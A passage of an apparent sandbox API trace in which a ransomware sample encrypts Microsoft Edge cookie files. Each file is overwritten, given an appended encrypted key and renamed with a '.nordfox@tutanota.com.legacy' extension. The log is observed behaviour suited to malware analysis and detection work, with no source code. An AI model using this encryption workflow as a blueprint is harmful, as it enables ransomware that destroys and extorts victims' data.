lpBuffer=0x5611c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5611c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x72, lpOverlapped=0x0) returned 1 [0192.745] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x72 [0192.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.745] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.745] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.745] CloseHandle (hObject=0x1b8c) returned 1 [0192.745] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.747] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.747] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt", dwFileAttributes=0x80) returned 1 [0192.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.748] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=275) returned 1 [0192.749] ReadFile (in: hFile=0x1b8c, lpBuffer=0x563358, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x113, lpOverlapped=0x0) returned 1 [0192.749] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.749] WriteFile (in: hFile=0x1b8c, lpBuffer=0x570c48*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x570c48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113, lpOverlapped=0x0) returned 1 [0192.749] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113 [0192.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.750] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.750] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.750] CloseHandle (hObject=0x1b8c) returned 1 [0192.750] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie", dwFileAttributes=0x80) returned 1 [0192.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.753] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=137) returned 1 [0192.753] ReadFile (in: hFile=0x1b8c, lpBuffer=0x610568, nNumberOfBytesToRead=0x89, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610568*, lpNumberOfBytesRead=0x2e1f9bc*=0x89, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.754] WriteFile (in: hFile=0x1b8c, lpBuffer=0x6113a8*, nNumberOfBytesToWrite=0x89, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6113a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x89, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x89 [0192.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.754] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.755] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.755] CloseHandle (hObject=0x1b8c) returned 1 [0192.755] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.758] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.758] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.758] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie", dwFileAttributes=0x80) returned 1 [0192.759] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.759] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=148) returned 1 [0192.759] ReadFile (in: hFile=0x1b8c, lpBuffer=0x555868, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555868*, lpNumberOfBytesRead=0x2e1f9bc*=0x94, lpOverlapped=0x0) returned 1 [0192.760] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-148, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.760] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5519c8*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5519c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x94, lpOverlapped=0x0) returned 1 [0192.760] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x94 [0192.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.761] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.761] CloseHandle (hObject=0x1b8c) returned 1 [0192.761] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e2c8 | out: pbBuffer=0x60e2c8) returned 1 [0192.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.762] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt", dwFileAttributes=0x80) returned 1 [0192.763] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.763] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=554) returned 1 [0192.763] ReadFile (in: hFile=0x1b8c, lpBuffer=0x52f438, nNumberOfBytesToRead=0x22a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesRead=0x2e1f9bc*=0x22a, lpOverlapped=0x0) returned 1 [0192.764] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.764] WriteFile (in: hFile=0x1b8c, lpBuffer=0x531498*, nNumberOfBytesToWrite=0x22a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x22a, lpOverlapped=0x0) returned 1 [0192.764] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x22a [0192.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e2c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e2c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.764] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e2c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e2c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.765] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.765] CloseHandle (hObject=0x1b8c) returned 1 [0192.765] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie", dwFileAttributes=0x80) returned 1 [0192.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.768] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=89) returned 1 [0192.768] ReadFile (in: hFile=0x1b8c, lpBuffer=0x556570, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556570*, lpNumberOfBytesRead=0x2e1f9bc*=0x59, lpOverlapped=0x0) returned 1 [0192.768] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-89, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.768] WriteFile (in: hFile=0x1b8c, lpBuffer=0x556848*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556848*, lpNumberOfBytesWritten=0x2e1f9bc*=0x59, lpOverlapped=0x0) returned 1 [0192.769] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x59 [0192.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.769] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.769] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.769] CloseHandle (hObject=0x1b8c) returned 1 [0192.769] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JPVRD62I.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jpvrd62i.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.771] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e1c0 | out: pbBuffer=0x60e1c0) returned 1 [0192.771] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.771] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie", dwFileAttributes=0x80) returned 1 [0192.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.771] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1195) returned 1 [0192.772] ReadFile (in: hFile=0x1b8c, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4ab, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ab, lpOverlapped=0x0) returned 1 [0192.779] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-1195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.779] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4ab, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ab, lpOverlapped=0x0) returned 1 [0192.779] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ab [0192.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e1c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e1c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.780] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e1c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.780] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.780] CloseHandle (hObject=0x1b8c) returned 1 [0192.780] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\IGINNTRA.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\iginntra.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.783] CryptGenRandom (in: hProv=0x55a150, 